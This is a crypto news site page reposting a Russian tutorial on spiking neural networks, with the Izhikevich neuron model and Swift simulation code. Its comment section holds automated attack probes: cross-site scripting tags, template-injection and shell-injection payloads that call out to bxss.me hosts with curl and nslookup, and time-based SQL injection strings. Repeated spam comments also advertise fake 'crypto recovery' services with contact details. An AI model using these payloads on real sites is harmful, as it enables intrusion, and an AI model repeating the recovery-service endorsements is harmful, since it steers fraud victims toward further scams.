Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Спайковые сети на Swift, часть I: Модель

Общие сведения

Искусственные нейронные сети находятся на волне популярности. Самые современные модели ИИ способны творить чудеса: поддерживать видимость общения на уровне человека, создавать реалистичные изображения, писать музыку.

Сейчас никого не удивить заявлениями, что искусственный интеллект превзошёл человеческий. Справедливости ради, способности простого калькулятора тоже давно их превзошли. Например, в скорости умножения чисел — даже двузначных. Опередить человека в определённых аспектах — задача не сложная.

Совершенно другое дело — повторить живой разум. Или хотя бы приблизиться к нему. В прессе мы часто встречаем заголовки вида «ИИ научился думать как человек! Сэм Альтман не смог с этим смириться и скрылся в ужасе!». Но будем честны: признаков сознания у любых моделей ИИ пока не наблюдается.

В то же время, создать что-нибудь эдакое хочется. Видимая граница возможностей привычных моделей стимулирует работать в альтернативных направлениях. В числе них — так называемые спайковые нейронные сети (Spiking Neural Networks, SNN).

В чем идея SNN? Успехи в создании мыслящего ИИ пока скромные. Это наводит на мысль: а не упускаем ли мы что-то? Какую-то важную особенность, присущую биологическим нейронам, которая позволяет мозгу думать? Такую, которой нет у распространённых нейросетей?

SNN стремятся точнее повторять функционирование именно биологических нейронных сетей. В надежде таким образом обнаружить свойства, близкие к настоящему мозгу.

В этой и последующих статьях мы будем поэтапно рассматривать SNN. Начиная с принципов работы одиночного нейрона до целых сетей на их основе. Всё моделирование будет выполняться "с нуля". К доступным фреймворкам (snnTorch и другие) прибегать не будем. А пока, чтобы легче было понять суть SNN, разберёмся в характерных особенностях.

Различия SNN и классических сетей

Традиционные искусственные нейронные сети (далее — ANN) вдохновлены устройством нервной ткани. Однако, искусственный нейрон ANN наследует лишь малую часть способностей своих биологических собратьев.

Первая способность — интегративная. Искусственный нейрон объединяет несколько сигналов в единый выходной сигнал. Этот сигнал формируется некоторой непрерывной функцией — "функцией активации". Значение этой функции передаётся следующим нейронам в сети или используется как результат.

Вторая — способность к обучению. Входные сигналы объединяются согласно "весу" каждого входа, которые можно настраивать. Настройка выполняется в ходе самостоятельной обучающей процедуры.

Другие свойства биологического нейрона в ANN игнорируются.

Отметим также, что нейроны в архитектуре ANN — абстрактная идея. Они не существуют отдельно. Упрощённо, ANN описывается матрицами смежности, каждый элемент которой определяет вес нейронной связи. Так, всю ANN можно рассматривать как одну очень сложную математическую функцию: пользователь передаёт ей входные данные, затем выполняется расчёт и выдаётся результат. И так до следующего model.fit() или нажатия клавиши "равно", если вспомнить аналогию с калькулятором.

Кажется, реальный мозг работает несколько иначе.

Обратимся к устройству биологического мозга. На макроскопическом уровне мозг выглядит незамысловато — как сгусток жира (больше 60%). Но на клеточном уровне он представляет собой организованную колонию живых организмов — нейронов. При этом, каждый нейрон в такой колонии автономен.

Нейроны в мозге общаются между собой способом, похожим на морзянку. То есть, короткими импульсами одинаковой формы — "спайками" (spike).

Искусственные нейроны SNN наследуют это свойство генерации спайков. Таким образом, сигналы в них кодируются сериями спайков (spike train), а не конкретными значениями функций активации. Это первое существенное отличие спайковых нейронов от ANN.

Спайковый нейрон как динамическая система

Следующее отличие — каждый искусственный спайковый нейрон это отдельная динамическая система. Она описывается дифференциальными уравнениями, которые определяют эволюцию системы во времени. Следовательно, состояние каждого искусственного нейрона требуется постоянно просчитывать. Вычислительная сложность такого подхода высока, а моделировать большие SNN весьма затратно.

Хеббовский принцип обучения нейронов SNN

Естественным для SNN является так называемое Хеббовское обучение. Этот принцип можно сформулировать так: "нейроны, которые активируются вместе, связываются сильнее" (cells that fire together, wire together). Обучение происходит не в рамках отдельного процесса, а сразу в рабочем режиме. Если один нейрон постоянно раздражает соседа своими спайками, тот становится чувствительнее к ним.

В то же время, большинство ANN обучаются методом обратного распространения (backpropagation). К сожалению, в спайковых сетях этот метод работает плохо.

Множество разновидностей нейронов

Заключительное свойство нейронов SNN также берёт начало в биологическом мозге. Нейроны в нём неодинаковы, сортов — сотни. Каждый сорт имеет свой паттерн генерации спайков. Некоторые способны генерировать спайки как из пулемёта, а другие — только короткими сериями высокой частоты. Помимо этого, нейроны отличаются характером воздействия на соседей — некоторые своими спайками подавляют (ингибируют) активность других, некоторые, наоборот, возбуждают.

Различные паттерны генерации спайков. Оригинал https://www.izhikevich.org/publications/spikes.htm
Различные паттерны генерации спайков. Оригинал https://www.izhikevich.org/publications/spikes.htm

В заключение скажем, что искусственные нейроны SNN перенимают больше свойств реальных нейронов, чем ANN. Благодаря этому их поведение богаче. Потенциально, такие сети способны показывать эффекты, которые в ANN не проявляются. С другой стороны — спайковые нейроны вычислительно дороже, работать с ними в целом сложнее. Поэтому SNN имеют исследовательский интерес, а промышленное применение пока за ANN.

Далее проиллюстрируем принципы работы SNN на небольшом примере.

Иллюстрация работы простой SNN

На представленной диаграмме цифрами обозначены рецепторы. Это нейроны, которые принимают входной сигнал и генерируют короткую серию спайков в ответ. Буквами обозначены остальные нейроны сети, а стрелками — направления распространения спайков.

Архитектура простой SNN
Архитектура простой SNN

Синий цвет обозначает тормозящий (ингибирующий) нейрон, а красный — возбуждающий. Ярко-красным обозначен нейрон, активность которого нас будет интересовать. Установим, что "красные" и "синие" будут иметь разные паттерны активации. "Красных" нужно возбуждать дольше, а частота спайков невелика.

Если начать подавать сигналы 0 и 1 в любом порядке, пока сеть не научилась, нейрон J активироваться не будет. Он будет подавляться либо тормозящим нейроном B (0ABJ), либо I (1IJ). Однако со временем ситуация изменится. Возбуждающий сигнал 0 пробьёт себе дорогу по траектории 0ACDEFG. Тогда каждый сигнал 0 станет активировать нейрон H, который является тормозящим. H станет подавлять активность другого тормозящего нейрона I, снимая оковы с J. Если сигнал 1 поступит в это окно возможностей, J активируется, так как I в этот момент будет подавлен сигналом от H.

Примечательно, что J активируется только в таком порядке — сначала сигнал 0, потом через определённое время 1, ни раньше, ни позже. В других комбинациях, а также с другими интервалами между 0 и 1, активации не будет. Сигнал или не успеет добраться до I, или прибудет слишком поздно.

Также любопытно, что если добавить тормозящий нейрон между J и F, то станет важна не только последовательность и интервал между сигналами 0 и 1, но и интервалы между сериями 0-1.

Как видно, даже столь простая модель способна показывать нетривиальное поведение. Теперь перейдём к описанию подхода к моделированию спайкового нейрона.

Моделирование спайкового нейрона

Сначала опишем формальную модель одиночного нейрона. Подходящих моделей, которые могут генерировать спайки, несколько. Я назову несколько популярных.

  • Ходжкина-Хаксли (Hodgkin-Huxley). Подробно моделирует электрохимию каждого нейрона. Состоит из нескольких дифференциальных уравнений. Для практических задач, не связанных с изучением поведения нервной клетки, она мало применима.

  • Интеграция с утечкой (Leaky Integrate&Fire, LIF). Описывается одним линейным дифференциальным уравнением \tau_m \dot{V} = -(V - V_{rest}) + R_m I. Самая быстрая из всех, но и самая бедная — позволяет эмулировать лишь самую простую динамику спайков.

  • Ижикевича (Izhikevich). Представлена системой из двух дифференциальных уравнений. Позволяет моделировать поведение нейронов разных типов. Приемлема с точки зрения вычислительной сложности. Является компромиссом между первыми двумя, поэтому будем использовать её.

Уравнения Ижикевича описывают эволюцию мембранного потенциала — свойства биологического нейрона, от которого зависит генерация спайков. Разбирать физический смысл мембранного потенциала не будем. Его можно воспринимать просто как степень возбуждённости нейрона. Сами уравнения выглядят следующим образом:

\begin{cases} \dot{v} = 0.04v^2 + 5v + 140 - u + I \\ \dot{u} = a(bv - u) \end{cases}

Здесь v — мембранный потенциал, u — переменная восстановления, которая противодействует росту потенциала. Динамика u зависит как от самого потенциала, так и дополнительных параметров. Параметр a определяет силу такого противодействия, b — чувствительность u к флуктуациям потенциала v.

\text{if } v \geq V_p \text{, then} \begin{cases} v \leftarrow c \\ u \leftarrow u + d \end{cases}

По достижению мембранным потенциалом определённого порога V_p \geq 30mVпроисходит сброс. Этот момент считается моментом возникновения спайка. Переменная c задаёт значение, на которое сбрасывается потенциал, а d корректирует u после спайка.

Внешние токи, заряжающие мембрану, заданы переменной I(t). Это "вход" модели. Если передать ей единичный импульс I(0)достаточной силы, то может возникнуть спайк. После него мембранный потенциал стабилизируется на уровне около -70mV (зависит от параметров). Можно сказать, что нейроны "заряжают" друг друга своими спайками. Общий вклад определяется I(t).

Если I(t)=A, где A — некоторая константа, то модель начнёт осциллировать, производя постоянный поток спайков. Шаблон этой последовательности (частоту, интервалы между сериями и т.п.) будет определяться прочими параметрами модели.

Также важно отметить, что "мощность" спайка никак не зависит от I(t) и других параметров. Его форма моделью никак не определяется. Значение мембранного потенциала другим нейронам также не транслируется*. Потенциал является внутренним состоянием системы — важен только факт спайка.

В заключение отмечу, что данная версия модели Ижикевича является упрощённой. Числовые коэффициенты в нелинейном уравнении подобраны Ижикевичем так, чтобы они подходили большинству нейронов. Также, они соответствуют временному разрешению dt=1~ms. То есть, 60 циклов в течении 1 секунды будут моделировать 60мс "жизни" нейрона. Подробнее можно ознакомиться в статьях автора. В реализации мы будем использовать упрощённую модель.

Реализация спайкового нейрона

Теперь приступим к реализации. Поскольку я не профессиональный разработчик, то буду делать это на том ЯП, который мне лучше знаком — на Swift. Весть дальнейший код — это фрагменты из экспериментального фреймворка, который я делал несколько лет назад для себя.

Этот фреймворк не является ни оптимальным, ни эффективным с точки зрения производительности. Некоторые алгоритмы и структуры сознательно реализованы не самым лучшим образом в угоду наглядности.

Первое, что сделаем — определим несколько протоколов. Excitable будет абстрактно описывать любую структуру, которая управляет состоянием отдельного нейрона. У нас такая структура будет только одна — Izhikevich. Аналогично, ExcitableParams будет описывать структуры с параметрами моделей.

protocol Excitable: Sendable  {
  associatedtype P: ExcitableParams
  init( params: P)
  mutating func updateState( Isyn: Double) -> Bool
  func stabilityCheck() -> Bool
  func v() -> Double
}

protocol ExcitableParams: Sendable {
  var type: NeuronType { get }
  var code: String { get }
}

Далее определим две вспомогательные структуры. Перечисление NeuronType будет определять тип нейрона — тормозящий или возбуждающий. NeuronKey станет ключом (идентификатором) нейрона, но пока он нам не потребуется.

enum NeuronType {
  case excitatory, inhibitory
}

struct NeuronKey: Hashable {
  var x: UInt16
  var y: UInt16
  var z: UInt8 = 0
  var L: UInt8 = 0
}

Теперь определим структуру IzhikevichParams со всеми параметрами, нужными для описания нейрона Ижикевича. Согласуем её с протоколом ExcitableParams.

struct IzhikevichParams: ExcitableParams {
  var a: Double = 0.02
  var b: Double = 0.2
  var c: Double = -65
  var d: Double = 2
  let type: NeuronType
  var code: String = ""
  var peak: Double = 30.0
  var v0: Double = -65
}

Такие значения по умолчанию описывают один из самых простых типов нейронов — резонатор. Здесь peak это порог для генерации спайка, а v0 — значения мембранного потенциала, с которым инициализируется нейрон. Остальные значения описаны выше.

Теперь определим основную структуру Izhikevich, которая будет управлять состоянием нейрона.

struct Izhikevich: Sendable {
  private var isStable: Bool = true
  private var state: (v: Double, u: Double)
  private let params: IzhikevichParams
	
  init(_ params: IzhikevichParams) {
    self.state = (v: params.v0, u: params.v0*params.b)
	self.params = params
  }
}

И согласуем её с протоколом Excitable:

extension Izhikevich: Excitable {
  func stabilityCheck() -> Bool {
    isStable
  }
	
  func v() -> Double { state.v }
			
  mutating func updateState(_ Isyn: Double) -> Bool {
    var isFired = false

    if state.v >= params.peak {
    	state.v = params.c
		state.u += params.d
		isFired = true
	}
		
	let (v, u) = state
	let dv = 0.04*v*v + 5*v + 140 - u + Isyn
	let du = params.a*(params.b*v - u)
	state = (v: v+dv*dt, u: u+du*dt)

	isStable = abs(dv) < EPSILON && !isFired
	&& abs(du) < EPSILON

	return isFired
  }
}

Функция updateState() будет делать расчёты, обновлять внутреннее состояние и возвращать факт возникновения спайка в качестве результата. Эту функцию можно считать аналогом "активации" в ANN, хоть и весьма отдалённым.

Здесь стоит отметить переменную isStable. Она станет true, когда dv и du будут меньше глобальной переменной EPSILON = 1e-7. Переменная isStable потребуется, чтобы не делать лишнюю работу. Когда система находится в стабильном состоянии и нейрон неактивен, холостые расчёты нам не нужны.

Параметр Isyn будем получать извне. Это скалярный "вход" нашего нейрона.

Как видно, в updateState() применяется самый простой метод решения дифференциальных уравнений — Эйлера с постоянным dt. Значение dt = 1 также задаётся глобальной переменной. Использовать более точные методы (Рунге-Кутты и других) представляется нецелесообразным.

Ижикевич в своих работах предлагает дополнительные методы, улучшающих численную стабильность системы. Например интерполяцию при обновлении u. Но мы отложим их на потом.

Пока с моделью всё. Такой нейрон пока не умеет обучаться, да и интегрировать сигналы он не может. Да, это немного. Зато, уже сейчас мы можем увидеть, как работает спайковый нейрон.

Далее определим класс-модель для SwiftUI — Playground.

struct ChartPoint {
  var t = Date.now
  var v: Double
}

@MainActor final class Playground: ObservableObject {
  private var neuron: Izhikevich
  private let params: IzhikevichParams
  private var task: Task<Void, Never>?
  @Published private(set) var isRun: Bool = false
  @Published private(set) var V: [ChartPoint] = []
  @Published private(set) var spikes: [Int] = []
  @Published var Iconst: Double = 3
  @Published var pulse: Double = 0

  func stop() {
    if let task { task.cancel() }
  }

  private func I() async -> Double {
    let I = Iconst + pulse; pulse = 0
    return I
  }
    
  func start() {
    guard !isRun else { return }
    V.removeAll()
      
    task = Task {
      isRun = true
      
      while !Task.isCancelled {
        if neuron.updateState(await I()) {
          spikes.append(spikes.count)
        }
        
        V.append(ChartPoint(v: neuron.v()))
        if V.count > 1000 { V.removeFirst() }
        
        try? await Task.sleep(for: .microseconds(1))
      }
      
      isRun = false
    }
  }
  
  init() {
    params = IzhikevichParams(type: .excitatory)
    neuron = Izhikevich(params)
  }
}

Этот простейший класс реализует два полезных метода. start() для запуска задачи, внутри которой в цикле обновляется состояние. А также stop() — для остановки активной задачи. Этим методы можно вызывать из View.

Код представления (View) SwiftUI я здесь приводить не буду. Его несложно написать самостоятельно по своему вкусу: все нужные свойства для графика и для работы кнопок вынесены в @Published.

Результат выглядит примерно так:

Генерация спайков в SwiftUI
Генерация спайков в SwiftUI

Как и положено, I_{const} определяет частоту спайков, но не их форму. Не следует путать пики на графике с формой спайков — он отображает значение мембранного потенциала v. Спайк же дискретен, он либо есть, либо нет. Если бы мы хотели показать именно спайки, такой график выглядел бы как расчёска.

Пока на этом всё. В следующей части рассмотрим другой важный сетевой элемент — синапсы. Также, научим наши нейроны взаимодействовать с другими и интегрировать сигналы.

Спасибо за внимание! :-)

Источник

Теги

ICO

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

